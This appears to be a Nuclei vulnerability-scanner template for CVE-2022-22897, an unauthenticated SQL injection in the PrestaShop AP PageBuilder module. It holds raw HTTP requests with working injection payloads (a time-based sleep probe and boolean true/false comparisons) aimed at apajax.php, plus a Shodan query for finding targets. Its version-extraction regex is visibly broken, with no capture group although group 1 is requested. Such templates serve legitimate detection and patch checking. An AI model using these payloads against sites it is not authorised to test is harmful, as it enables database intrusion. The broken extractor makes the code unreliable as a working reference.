id: CVE-2022-22897 info: name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection author: mastercho severity: critical description: | A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage. remediation: | Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-22897 - https://packetstormsecurity.com/files/cve/CVE-2022-22897 - https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22897 cwe-id: CWE-89 epss-score: 0.04685 epss-percentile: 0.91818 cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:* metadata: verified: true max-request: 4 vendor: apollotheme product: "ap_pagebuilder" framework: prestashop shodan-query: - "http.component:\"Prestashop\"" - http.component:"prestashop" tags: cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme http: - raw: - | GET /modules/appagebuilder/config.xml HTTP/1.1 Host: {{Hostname}} - | @timeout: 20s POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}} X-Requested-With: XMLHttpRequest leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0) - | @timeout: 20s POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}} X-Requested-With: XMLHttpRequest leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6644=6644-- yMwI - | @timeout: 20s POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}} X-Requested-With: XMLHttpRequest leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI matchers-condition: or matchers: - type: dsl name: time-based dsl: - 'duration_2>=6' - 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")' condition: and - type: dsl name: blind-based dsl: - 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")' - 'contains(body_3, "content") && contains(body_3, "{{Hostname}}")' - '!contains(body_4, "content") && !contains(body_4, "{{Hostname}}")' - 'len(body_3) > 200 && len(body_4) <= 22' condition: and extractors: - type: regex name: version part: body_1 internal: true group: 1 regex: - "\\s*\\s*<\\/version>" # digest: 490a004630440220404a04d873dd736566bf6f0c9313b4d2a0d7c8e86ecfec5bc6b30d01e096410e0220291616c6bc77a2be23fc7cb703dfc36eeefb0b003aff6a127b0b6ff6eb68bda6:922c64590222798bb761d5b6d8e72950